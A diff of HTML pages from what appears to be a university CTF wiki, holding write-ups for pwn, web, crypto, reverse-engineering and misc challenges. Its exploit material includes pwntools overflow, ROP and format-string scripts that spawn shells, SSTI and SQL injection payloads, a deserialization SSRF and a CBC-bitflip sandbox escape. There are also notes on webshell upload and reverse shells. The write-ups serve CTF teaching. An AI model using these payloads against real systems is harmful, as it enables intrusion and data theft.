+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x92')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xa2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xb2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xc2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xd2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xe2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xf2')
+cn.recvuntil(b'welcome')
+
+

RE

+

day1 moveAside

+

一年前做过的题,当时我写的的超级详细题解:
+https://github.com/GhostFrankWu/CS315-ComputerSecurity/blob/main/week5/wp.md
+第一天结束后发现GitHub统计访客50多
+picture 3

+

核心就是去混淆之后找到用作jmp的mov指令,还有就是要知道mov混淆似乎一定有逐字节比较的地方,断在这里爆破就行了

+
from pwn import *
+
+#            flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx3861}
+flag = list('flag{781dda4e-d910-*********************}')
+stri = "0123456789abcdef-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
+
+sp = b"LEGEND: "
+context.log_level = 'critical'
+
+
+
+for i in range(19, 43):
+    for j in range(len(stri)):
+        p = process(["gdb", "fuck"])
+        p.sendline(b"b *0x8052A92")
+        p.sendline(b"r")
+        tr = [x for x in flag]
+        tr[i] = stri[j]
+        p.sendline(''.join(tr).encode())
+        _ = p.recvuntil(sp)
+        print(f'No.{i + 1}, trying {stri[j]}, now flag is {"".join(flag)}')
+        for c in range(i-1):
+            p.sendline(b'c')
+            _ = p.recvuntil(sp)
+        p.sendline(b'c')
+        r = p.recvall(0.3)
+        if sp in r:
+            print("hit!!!!")
+            flag[i] = stri[j]
+            print(''.join(flag))
+            p.close()
+            break
+        else:
+            p.close()
+
+
+print(''.join(flag))
+
+

炫酷的界面(雾 +picture 4

+

day2 babyRE

+

撞车队友:

+

网上随便看了点Snap!的资料,定位到flag判断逻辑,根据secret简单做一波异或运算还原输入key即flag

+
secret = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
+
+key = 'f'
+
+for i in secret[1:]:
+    next_char = chr(ord(key[-1]) ^ i)
+    key += next_char
+
+print(key)
+
+
+
d = [(92, 1), (92, -1), (8, -1), (28, -1), (20, 1), (25, -1), (75, 1), (81, -1), (83, -1), (0, 1), (7, -1), (28, -1),
+     (85, 1), (76, -1), (88, -1), (4, 3), (9, -1), (7, 1), (0, -1), (29, -1), (73, -1), (1, 1), (0, -1), (3, 2),
+     (86, -1), (4, -1), (74, 1), (87, -1), (3, 2), (87, -1), (82, -1), (28, 1), (84, -1), (85, -1), (6, 1), (4, -1),
+     (85, -1), (13, 1), (87, -1), (10, 1), (102, 1), (30, -1)]
+
+l = []
+for i in d:
+    print(l)
+    if i[1] != -1:
+        l.insert(i[1] - 1, i[0])
+    else:
+        l.insert(len(l), i[0])
+
+c = 0
+for i in l:
+    c ^= i
+    print(chr(c), end="")
+
+

web

+

day1 unzip

+

代码长得和上周春秋杯的题完全一致
+题目没给Dockerfile,大概不是历史漏洞,03年之后的zip就不能目录穿越了

+

创建一个指向文件夹的软链 ln -s /var/www/html www && zip -y x.zip www
+然后压缩一个带一句话的www文件夹解压就可以了

+

day2 dumpit

+

dump和注入分开 query屏蔽的并不多,但提示要做到rce
+dump几乎都是用命令行工具做,果然在dump的地方可以命令拼接
+然后发现没权限读flag 弹shell
+picture 5

+

跑linpeas提权时候在环境变量里出了

+

MISC

+

day1 签到

+

python任意代码 签到

+

day1 被加密的生产流量

+

发现 query 中的 word count 不符合定义。之前请求了非常大的数字,后期全部请求 5。 +追踪 TCP 流发现,word count 刚好形成了 ascii 字符。将其提取并解码。 +MMYWMX3GNEYWOXZRGAYDA=== base32 解码得到 c1f_fi1g_1000

+

day2 pyshell

+

虽然服务器禁止了赋值操作,并且每行的长度也有限制
+对于第一个限制,可以用 REPL 中的 _ 来获取上一条语句的值
+对于第二个限制,可以分多行输入(此时每输入一行都需要重新 nc 连接)
+所以最终 payload 为

+
'/flag'
+open(_)
+[I for
+I in 
+_]
+
+

day2 问卷

+

问卷

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/COMPASS 2022 Summer/index.html b/Writeup/COMPASS 2022 Summer/index.html new file mode 100644 index 000000000..c89ef17c2 --- /dev/null +++ b/Writeup/COMPASS 2022 Summer/index.html @@ -0,0 +1,8734 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Writeup for 2022 Summer Qualifier Exam - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Writeup for 2022 Summer Qualifier Exam

+

The challenge number is 17 in total (with 1 hidden PWN challenge from the last year). All the challenges are simple and easy, modified from the previous competition challenges I've solved.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CategoryQuantityLink
Crypto3Writeups
Misc2Writeups
PWN4Writeups
Re3Writeups
Web4Writeups
+

Crypto

+

All the challenges are from DiceCTF 2022 @Hope. Currently, environment from the original website is down. We would hold those amazing challenges for further studies.

+

超下头的签到

+
今日份打工人营业啦💝 毫无抵抗力 还是去打CTF了 啥也不是 哒哒哒 这家的CTF超赞的❓❓❓介个小蛋糕也真下头⁉️⁉️⁉️srds 路边捡到了一分钱 预警⚠️ 啦啦啦 星星月亮和我都要睡啦🌸
+
+谜语人的暗语: 575d55524a5c50586b46595d6e5a555b6e5f505f6b4c44555f6e575d446b55546b5f58556e43555b6e56506e5e5c506b43545a6a5c515f4c
+据说是密钥: 114514
+
+

The description isn't related to the challenge. The key point is the last half of the description. A string of hex, and some strange digits.

+

It's easy to think about the xor encryption. Very simple, use the 114514 (in escaped string) as a key, decode the given cipher:

+
flag{hai_shi_kan_kan_yuan_chu_de_jia_ran_ba_jia_ren_men}
+
+

超迷你的RSA

+
c=32949
+n=64741
+e=42667
+
+

Very simple RSA with small N. Factor N into 101 and 641.

+
>>> from Crypto.Util.number import *
+>>> p = 101
+>>> q = 641
+>>> c = 32949
+>>> e = 42667
+>>> phi = (p-1)*(q-1)
+>>> d = inverse(e,phi)
+>>> pow(c,d,p*q)
+18429
+
+

Use the password to open the compress file, find the flag.

+
flag{gr34t_m1nds_th1nk_4l1ke}
+
+

超保密的AES算法

+

ECB mode AES encryption. The server gives out the hex ciphertext of flag once, then asks us to input a hex string, then prints the cipher text of the string.

+

This is a CPA scenario. ECB mode can't defense from CPA. We use 0x00 string to reveal the key:

+
> b0bcf580640b080efd0a25dd77b1e152b2e8b9d3285a531bff0b718c6fabe053e4b6a6832e505301ac4416ec449a8267
+< 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+> d6d094e71f686a369e3910ea429c8461c6c084f70f787a268e2900fa528c9471
+
+

We now know the key, use this key to decrypt flag:

+
flag{cb8c3575-e3d8-4729-a2af-7d22f2d18972}
+
+

Misc

+

All the challenges are modified from ctf.show 七夕杯.

+

签到

+

Gives a graph, the content doesn't matter. Use any hex editor or simply type strings command, and we can find the flag in the tail of the file.

+

教皇的密码

+

The origin challenge is called 海盗的密码. The ip region changed to Vatican in this challenge. Thus, we need to brute force all the IPs from Vatican.

+
185.17.220.0    185.17.223.255  1024
+185.152.68.0    185.152.71.255  1024
+193.43.102.0    193.43.103.255  512
+212.77.0.0  212.77.31.255   8192
+
+

The password is 212.77.31.255. Open the compressed file to get the flag,

+

PWN

+

All the challenges are from XCTF's recent competitions.

+

签到

+

Check the file properties first:

+
$ file 291721f42a044f50a2aead748d539df0
+291721f42a044f50a2aead748d539df0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
+
+

The main logic is simple, main prints hello, world, then calls vulnerable_function.

+

This function reads 0x200 bytes of data, and put them into 0x80 length buffer, which leads to a buffer overflow. Another useful function is callsystem, which gives us a shell.

+

The steps to solve:

+
    +
  1. Fill the first 0x80 bytes.
  2. +
  3. Overflow the 0x8 bytes of stack data useless.
  4. +
  5. Replace the next 4 bytes (return address) to callsystem.
  6. +
+
from pwn import * 
+r = process("./app")
+payload = 'A' * 0x88 + p64(0x00400596)
+r.sendlineafter("Hello, World\n", payload)
+r.interactive()
+
+

先别急

+

A little simple ROP challenge.

+

In this challenge, we don't have callsystem function any more. Instead, we need to find a /bin/sh string in the program.

+

Luckily, this challenge has PIE disabled. We can write libc address directly.

+
    +
  1. Overflow and jump to system function address.
  2. +
  3. Gives a /bin/sh string as parameter, and 0 as the second parameter.
  4. +
+
from pwn import *
+system=0x08048320
+shell=0x0804A024
+r=process("./app")
+payload='A'*(0x92)+p32(system)+p32(0)+p32(shell)
+r.sendlineafter("Input:\n", payload)
+r.interactive()
+
+

你猜我猜不猜

+

This challenge has Canary, NX, and PIE. We can't simple use ROP method because of the canary. However, the seed is on the stack as well. We can't reach the return address, but we can reach the seed integer.

+
    +
  1. Overflow 0x20 bytes and reach seed.
  2. +
  3. Replace the seed value.
  4. +
+

Use the same seed, we can "predict" all the random numbers.

+
from pwn import *
+from ctypes import *
+
+libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
+libc.srand(0)
+
+r=process("./app")
+payload='A'*(0x20)+p32(0)
+r.sendlineafter("Your name:", payload)
+
+for i in range(10):
+    num=str(libc.rand()%6+1)
+    r.sendlineafter("Please input your guess number:", num)
+r.interactive()
+
+

过关斩将

+

The first level: input "east" and win.

+

The second level: use the format string in printf(&format, &format), we can reveal the address.

+

The last challenge gives us the control to input some codes, gives a shellcode.

+
from pwn import *
+
+shell=asm(shellcraft.amd64.linux.sh(),arch="amd64")
+r=process("./app")
+payload="%9x,%9x,%9x,%9x,%9x,%35x%n"
+r.recvuntil("secret[0] is ")
+addr=str(int(r.recvuntil("\n")[:-1],16))
+r.sendlineafter("What should your character's name be:","ailx10")
+r.sendlineafter("So, where you will go?east or up?:","east")
+r.sendlineafter("go into there(1), or leave(0)?:","1")
+r.sendlineafter("'Give me an address'",addr)
+r.sendlineafter("And, you wish is:",payload)
+r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shell)
+
+r.interactive()
+
+

Re

+

All the challenges are modified from various provinces' CTF competitions: 西普杯京津冀信息安全挑战赛, 第五届山东省网络安全竞赛, 网鼎杯朱雀组.

+

真的是签到

+

Check the ELF, IDA would gives several integers in main function. Be aware of the data types are meaningless in assembly, those integers are in fact strings.

+

Mark the data as string, and we get the flag.

+
flag{4092849uio2jfklsj4k}
+
+

绝对在第五层

+

The program is written in MFC.

+

Use dynamic analysis, on the address 0x401743 we can find a comparison. The compared string is the key to show the flag.

+
008225C8 s1 = "123456"
+00822668 s2 = "xxxxxXXXXXxxxx"
+
+

种树

+

In the main logic, the flag's bits are calculated from the path in a binary tree. We need to find the flag bits from the path in binary tree to the target string zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx (modified in this challenge).

+

How to find the structure of the tree? We can use dynamic analysis, extract memory data from the execution.

+
[[‘y’, ‘0000’], [‘b’, ‘00010’], [‘q’, ‘00011’], [‘g’, ‘0010’], [‘f’, ‘0011’], [‘j’, ‘010’], [‘w’, ‘01100’], [‘p’, ‘01101’], [‘x’, ‘011100’], [‘d’, ‘0111010’], [‘i’, ‘0111011’], [‘k’, ‘01111’], [‘s’, ‘100’], [‘z’, ‘1010’], [‘n’, ‘1011’], [‘c’, ‘11000’], [‘t’, ‘110010’], [‘e’, ‘110011’], [‘h’, ‘1101’], [‘o’, ‘11100’], [‘l’, ‘1110100’], [‘u’, ‘11101010’], [‘r’, ‘111010110’], [‘a’, ‘111010111’], [‘m’, ‘111011’], [‘v’, ‘1111’]]
+
+

Find the path is simple, I won't describe here.

+

Web

+

Challenges are from DiceCTF 2022 @Hope, nice competition!

+

简单的签到

+

Change the value of admin to true in cookie.

+

简单的模板

+

Simply use SSTI reversed version.

+
}})')(daer.)"txt.galf/ppa/ tac"(nepop.)"so"(__tropmi__'(]'lave'[]'__snitliub__'[__slabolg__.__tini__.]331[)(__sessalcbus__.]0[__sesab__.__ssalc__.''{{
+
+

简单的注入

+

In the palindrome submit, we can start SQL injection attack.

+

The input should be a palindrome string.

+
'||(select flag from flags));--;))sgalfmorfgalftceles(||'
+
+

简单的序列

+

A simple GoLang unmarshal challenge. The GoLang's unmarshal doesn't care about the case of json, we can use upper case to bypass the filter.

+
{
+    "whaT_point":"that_point"
+}
+
+

Remarks

+

Hope you enjoy this competition, and take this practice as a learning progress.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/COMPASS CTF2021/COMPASS_CTF_2021_ALLwp/index.html b/Writeup/COMPASS CTF2021/COMPASS_CTF_2021_ALLwp/index.html new file mode 100644 index 000000000..b28f5342e --- /dev/null +++ b/Writeup/COMPASS CTF2021/COMPASS_CTF_2021_ALLwp/index.html @@ -0,0 +1,8905 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + COMPASS CTF 2021 招新赛 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

COMPASS CTF 2021 招新赛

+

题目内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
分类名称难度描述文件flag
MISCSanityCheck签到欢迎来到COMPASS CTF! 光碟、喵咪和ls可以帮你拿到flag。sign.htmlflag{we1c0m3_tO_C0MP4SS_CTF_2021!GLHF}
MISCezPWD简单你的一位来自陕西西安临潼区的90后学姐发给你一份神秘压缩包,你能打开吗flag.zipflag{Brut3_f0rc3_1s_just_345y}
WebHacked签到大黑客黑掉了COMPASS的网站并留下了flag,但是需要正确输入口令才能看到。Hacked.htmlflag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js}
WebtrickyPHP一般攻克难关,入门web,赢取flagtrickyPHP.phpflag{y0u_b34t_pHp_and_WOn_uR_reward!}
webLife Restart一般这垃圾人生一秒也不想呆了,remake!(500岁时渡劫成功赢取flag)http://81.68.223.245:8080/view/flag{My_fate_1s_up_to_M3_in_Cyber_W0rld}
WebBBS中等COMPASS开通了bbs demo,现在开放注册~管理员在flag.php中写入了宝贵的flag,以此证明BBS的安全性COMPASS_BBSflag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!}
Cryptoat_bash签到COMPASS截获了一段含有flag的文本,但是文本中看起来并没有flag字样at_bash.txtflag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!}
Cryptovariable简单据说初中生更加擅长crypto的破解,为了夺回本科生的尊严,你向初中小A发起了挑战enc.py enc.txtflag{Now_u_H4v3_the_abil1Ty_to_Crypt0!}
CryptoCBC较难新概念的Python沙盒,让Python再次伟大!CBC.pyflag{w0W_s3Ems_u_really_g00D_4t_crypt0!}
Rebogo签到猴子在无限的时间内可以写出莎士比亚,这也是一道能自己写出flag的逆向题!bogo.elfflag{we1c0m3_tO_rEv3re_w0r1d!}
ReExtremely slow一般COMPASS实验室截获了一个可以快速分解混沌为flag的强大原型机,但是它十分不稳定,只能运行很短的时间...Extremely_slow.exeflag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9}
ReRandom较难上帝不会掷骰子,从来没有真正的随机Random.exeflag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284}
Rejava_re压轴Jar是个糟糕的Zip文件,但它能有什么坏心眼呢?(hint 代码很乱?其实逻辑并不复杂。IDEA自带的逆向很强大)EzJar.jarflag{Ctf3r_me_1s_A_very_g0Od_9Uy}
PWNdove1签到每次校队训练总有鸽子出现,COMPASS发出悬赏:带回鸽子一次就可以获得flag!你决定去劝说鸽子走上正轨道(hint1 劝说只有第10种办法是有效的)(hint2 反编译伪代码不正常可以看看反汇编界面,注意变量的类型)(hint3 rand的种子精度不够不难预测)doveflag{5ome_0ne_1s_dove_I_dont_say_whO_1s}
PWNdove2简单多次成功劝说鸽子后它仍然一意孤行,你决定来点硬的doveflag{U_rea11y_g0Od_At_bringing_d0ve_back}
PWNwish较难一口许愿井,你可以对它倾诉任何事情,但是它似乎很少对愿望作出回应wishflag{PWN_1s_s0_tricky_go0Od_job}
PWNDouble Frank防AK欢迎来到Frank餐馆,请问你今天要来点什么样的Frank呢?Frankflag{YOU_beat_frank_n0w_frankss_1s_a11_yOurs!}
+

题解

+

新手友好,题目有趣 +比赛内容包含网络攻击,加密解密,程序逆向破解,二进制漏洞利用等。

+

MISC

+

SanityCheck

+

签到,首先

+
+

cd home

+
+

然后

+
+

cat flag.txt

+
+

ezPWD

+

陕西西安临潼区 分别对应61 01 15
+年份1990-1999 月1-12 日1-31 编号0-999 校验码固定
+根据条件生成字典复杂度很低,爆破即可得到压缩包密码
+610115199309102764
+以下是各种密码恢复软件的截图:
+- john kali自带 免费 高效 强大 仅用6秒 +john +- archpr 适用于windows,支持各种密码恢复方式(明文,暴力,字典,掩码...)用时9分钟 需要注册
+archpr +- passware for forensic 极其强大的内存密码分析攻击,也支持字典,用时4分钟,需要注册 +passware

+
+

flag{Brut3_f0rc3_1s_just_345y}

+
+

Web

+

Hacked

+

题目问 *js中'b'+'a'+ +'a'+'a'* 的值是?
+那F12放控制台运行一下就好了,是
'baNaNa'** 一想很奇怪,但是在JS里,这也正常(x
+然后就得到了满屏飞的flag 题目名字也是来源于此

+

什么?肉眼看flag太难了?解决方法包括但不限于以下:
+- 买个好用的眼镜或者找准时机OCR一下flag
+- 把被加密的JS放到在线JS压缩网站解密得到flag变量名 查看t变量的值 +- 通过window变量查看所有变量的值 其中就有flag

+

相信大家可以轻松完成签到

+
+

flag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js}

+
+

trickyPHP

+

给了源码,来一点点过关。第一关是需要say中包含JOIN_COMPASS_CTF#,但是首先会正则卡掉COMPASS。

+
$say = preg_replace('/^(.*)COMPASS(.*)$/', '${1}<!--nope-->${2}', $_GET['say']);
+    if (preg_match('/JOIN_COMPASS_CTF#/', $say)) {
+        echo "Welcome to COMPASS CTF, continue hacking!<br>";
+    } else {
+        echo 'Bad hacker!';
+    }
+
+

换行绕过正则,用url编码避免#被解析为html标签:

+
+

?say=%0aJOIN_COMPASS_CTF%23

+
+

第二关需要post两个内容不同但是sha1一样的内容

+
if ($_POST['user'] == $_POST['pwd']) {
+    echo 'You cant do that!';
+} else if (sha1($_POST['user']) === sha1($_POST['pwd'])) {
+    echo 'Great, you almost get there!<br>';
+} else {
+    die("Not same, sorry.");
+}
+
+

很容易想到碰撞,但是在php中有更简单方法:传入非字符串内容,sha1会返回失败,造成false===false,比如传入内容不同的两个数组。

+
+

user[]=1&pwd[]=2

+
+

第三关解码json格式的flag,然后和flag弱比较

+
$leve1_3 = json_decode($_POST['flag']);
+if ($leve1_3->result == $flag) {
+    echo "Congratulations, you won your flag:&nbsp &nbsp " . $flag;
+} else {
+    echo "So close!!!";
+}
+
+

弱比较时,我们可控的变量在左边,可以直接令其为0使得条件恒成立。

+
+

flag={"result":0}

+
+

组合起来就是

+
+

GET("http://xx.xx/?say=%0aJOIN_COMPASS_CTF%23")
+user[]=1&pwd[]=2&flag={"result":0}

+
+

Life Restart

+

看一下文件结构
+life js
+从文件名不难推测
+- 开局天赋抽卡的相关逻辑位于talent.js + + 爆改欧皇概率 显然3是最好的 直接return3就能欧皇附体: + javascript + const randomGrade = () => { + let randomNumber = Math.floor(Math.random() * 1000); //删掉 + if((randomNumber -= rate[3]) < 0) return 3; //删掉 + if((randomNumber -= rate[2]) < 0) return 2; //删掉 + if((randomNumber -= rate[1]) < 0) return 1; //删掉 + return 0; //return 3 + } +- 属性分配的相关逻辑位于property.js + + 爆改开局属性 加一堆初始值: + ```javascript + restart(data) { + this.#data = { + [this.TYPES.AGE]: -1,

+
        [this.TYPES.CHR]: 0, //加!
+        [this.TYPES.INT]: 0, //加!
+        [this.TYPES.STR]: 0, //加!
+        [this.TYPES.MNY]: 0, //加!
+        [this.TYPES.SPR]: 0, //加!
+```
+
+
    +
  • 二倍速延迟的逻辑在app.js
      +
    • 延迟改为0: +javascript + trajectoryPage + .find('#auto') + .click(()=>auto(1000)); + trajectoryPage + .find('#auto2x') + .click(()=>auto(500)); // 改为0
    • +
    +
  • +
+

现在开局就有无限属性+全橙卡 开始你的逆天之路吧!
+不一定能渡劫成功 但是因为改掉了延迟,基本一轮不到5秒 开几轮就能拿到flag。 +result

+
+

flag{My_fate_1s_up_to_M3_in_Cyber_W0rld}

+
+

BBS

+

注册一个账号 登录后发现网页会内嵌blog中的网址,同时发现请求的参数为

+
+

view.php?no=2

+
+

加个分号试试 view.php?no=2'

+
+

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

+
+

看到这报错信息,DNA动了
+orderby爆字段数量,5时报错说明字段数为4

+
+

?no=1 order by 4#

+
+

union select被屏蔽 用/**/就可以绕过,发现字段2可以直接回显

+
+

?no=9 union/**/select 1,2,3,4#

+
+

这时候有SQL注入大佬可能会先看看权限

+
+

?no=9 union/**/select 1,user(),3,4#

+
+

一查吓一跳,root@localhost,那还注什么,直接随便打拿flag了

+
+

?no=9 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

+
+

执行后在用户名的地方查看源码就能得到flag

+

那如果不是SQL注入大佬,没有一步拿到flag,我们接着往下做:
+查信息表找表名,列名 内容

+
+

?no=9 union/**/select 1,(select table_name from information_schema.tables limit 1 offset 0),3,4#

+

?no=9 union/**/select 1,(select column_name from information_schema.columns where table_name='users' limit 1 offset 3),3,4#

+

?no=9 union/**/select 1,(select data from users where no=2),3,4# +可以知道表的结构为: +- no 用户id +- name 用户名 +- password 密码的hash +- data O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}

+
+

其中data看起来是序列化的php内容,试着放到结果中

+
+

?no=9 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}'#

+
+

会发现反序列化了我们的内容,这时候有经验的web大佬又已经想到了伪协议SSRF了,只需要更改一下序列化的内容就能读出flag
+没有想到的同学也可以通过查看robots.txt得到源码 查看逻辑得知反序列化过程

+
+

?no=9 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

+
+

执行后在bolg预览的地方查看源码就能得到flag

+
+

flag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!}

+
+

Crypto

+

at_bash

+

有很多种方法做,分享几个自动化的解法,以下仓库都在github上开源,其中CyberChief有在线版本:
+- Ciphey 可以全自动解决问题 +ciphey +- BaseCrack 可以解决大量的base编码 +BaseCrack +- CyberChief 可以自动解决很多步骤 +CyberChief

+

本题名称提示最后一步是atbash解码,如果没有想到直接百度搜索"ctf uozt{}"或者搜索"crypto uozt{}"都能得到解法

+
+

flag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!}

+
+

variable

+

根据已知的flag{}格式写出方程求解abcd:

+
from z3 import *
+
+solver = Solver()
+
+a = Real('a')
+b = Real('b')
+c = Real('c')
+d = Real('d')
+solver.add(a * pow(ord('f'), 3) + b * pow(ord('f'), 2) + c * ord('f') + d == 5699462831574115)
+solver.add(a * pow(ord('l'), 3) + b * pow(ord('l'), 2) + c * ord('l') + d == 6762178137517177)
+solver.add(a * pow(ord('a'), 3) + b * pow(ord('a'), 2) + c * ord('a') + d == 4904006952609865)
+solver.add(a * pow(ord('g'), 3) + b * pow(ord('g'), 2) + c * ord('g') + d == 5868227804276587)
+solver.add(a * pow(ord('{'), 3) + b * pow(ord('{'), 2) + c * ord('{') + d == 9978816733414447)
+solver.add(a * pow(ord('}'), 3) + b * pow(ord('}'), 2) + c * ord('}') + d == 10472292506842245)
+if solver.check() == sat:
+    for i in str(solver.model())[1:-1].split(","):
+        print(i.strip())
+
+

解出abcd的值后带入求解:

+
b = 4849411009
+a = 5322682364
+d = 4215800245
+c = 5218014711
+enc = [5699462831574115, 6762178137517177, 4904006952609865, 5868227804276587, 9978816733414447, 2555804598727387,
+       7339798412634739, 9038863758685179, 4607800653388515, 8591875579876765, 4607800653388515, 2012199806528365,
+       761800081770865, 8813480590313107, 718942790851879, 4607800653388515, 8374016791281969, 6040291893502029,
+       5533965039300429, 4607800653388515, 4904006952609865, 5056755384110247, 6215687035344625, 6762178137517177,
+       638111591795929, 3189435100987729, 9501092313613249, 4607800653388515, 8374016791281969, 7339798412634739,
+       4607800653388515, 1622988744649015, 7949410135240279, 9501092313613249, 7539405133434565, 8374016791281969,
+       600073811470597, 196738654989577, 10472292506842245]
+
+for i in enc:
+    for j in range(32, 127):
+        if a * j ** 3 + b * j ** 2 + c * j + d == i:
+            print(chr(j), end="")
+
+

即得flag

+
+

flag{Now_u_H4v3_the_abil1Ty_to_Crypt0!}

+
+

CBC

+

可以通过给出的密文反解IV,示例代码+运行hello world

+
from pwn import *
+from Crypto.Util.Padding import pad
+
+local = True
+
+host, port = "103.102.44.218", 10007
+
+if local:
+    p = process('python CBC.py', shell=True)
+else:
+    p = remote(host,port)
+
+p.recvuntil(b'sample encryption\n')
+sample = p.recvline()
+
+iv = unhex(sample[:32])
+ct = unhex(sample[32:])
+pt = b'trapped_forever'
+
+log.info(f'got iv: {enhex(iv)}')
+log.info(f'got ct: {enhex(ct)}')
+log.info(f'got pt: {enhex(pt)}')
+
+pt = pad(pt, 16)
+pl = pad(b'print("hello")', 16)
+
+log.info(f'sending: {pl}')
+res = p.recvuntil(b'>>')
+target = xor(pt, pl)
+new_iv = xor(target, iv)
+
+final_payload = enhex(new_iv) + enhex(ct)  
+p.sendline(final_payload.encode())
+p.interactive()
+
+

得到了预期结果

+
$ python helloworld.py 
+[+] Starting local process '/bin/sh': pid 379634
+[*] got iv: 2d9563e81f33b3501e1e362e0f6fb173
+[*] got ct: 2a835fcae4c11657a7b6ddae5a6e8ed1
+[*] got pt: 747261707065645f666f7265766572
+[*] sending: b'print("hello")\x02\x02'
+[*] Switching to interactive mode
+hello
+>>
+
+

将hello world替换成我们想要的命令,源程序已经导入了OS库,不需要再次import,于是使用os.system('ls -la')

+
#!/usr/bin/python3
+
+from pwn import *
+from Crypto.Util.Padding import pad
+
+local = True
+
+host, port = "103.102.44.218", 10007
+
+if local:
+    p = process('python CBC.py', shell=True)
+else:
+    p = remote(host,port)
+
+p.recvuntil(b'sample encryption\n')
+sample = p.recvline()
+
+iv = unhex(sample[:32])
+ct = unhex(sample[32:])
+pt = b'trapped_forever'
+
+log.info(f'got iv: {enhex(iv)}')
+log.info(f'got ct: {enhex(ct)}')
+log.info(f'got pt: {enhex(pt)}')
+
+pt = pad(pt, 16)
+
+def encpayload(s):
+    hexed = enhex(s)
+    encoded = '|\\x'.join([hexed[x:x+2] for x in range(0, len(hexed), 2)]).split('|')
+    parts = [f"a='\\x{encoded[0]}'"]
+    for i, p in enumerate(encoded[1:]):
+        parts.append(f"a+='{p}'")
+
+    return parts
+
+# any payload will do, we can keep appending anything to variable
+payload_list = encpayload(b'os.system("ls -la")')
+payload_list.append('print(a)')
+payload_list.append('exec(a)') 
+
+for pl in payload_list:
+    res = p.recvuntil(b'>>')
+
+    pl = pad(pl.strip().encode(), 16)
+
+    target = xor(pt, pl)
+    new_iv = xor(target, iv)
+
+    final_payload = enhex(new_iv) + enhex(ct)  
+    p.sendline(final_payload.encode())
+
+p.interactive()
+
+

给出了想要的flag

+
$ ./solve.py 
+[+] Opening connection to jail-crypto.challenge.cryptonite.team on port 1337: Done
+[*] got iv: 7f3468ee6bec6395f9a6a96eaf078612
+[*] got ct: c67bd34273a2f25477432de5590fcad2
+[*] got pt: 747261707065645f666f7265766572
+os.system("ls -la")
+total 16
+drwxr-xr-x 2 nobody nogroup 4096 Dec 10 13:44 .
+drwxr-xr-x 3 nobody nogroup 4096 Dec 10 13:44 ..
+-rw-r--r-- 1 nobody nogroup   41 Dec  6 13:08 flag.txt
+-rw-r--r-- 1 nobody nogroup    0 Dec  6 13:08 flag{w0W_s3Ems_u_really_g00D_4t_crypt0!}
+-rwxr-xr-x 1 nobody nogroup 1387 Dec  6 13:08 CBC.py
+>>
+
+

Re

+

bogo

+

程序首先对char flag数组每个元素+32得到flag,然后开始随机生成可打印的flag字符串进行比较。
+如果生成的随机内容正好是正确的flag就显示正确结束程序,如果不正确就继续随机生成。
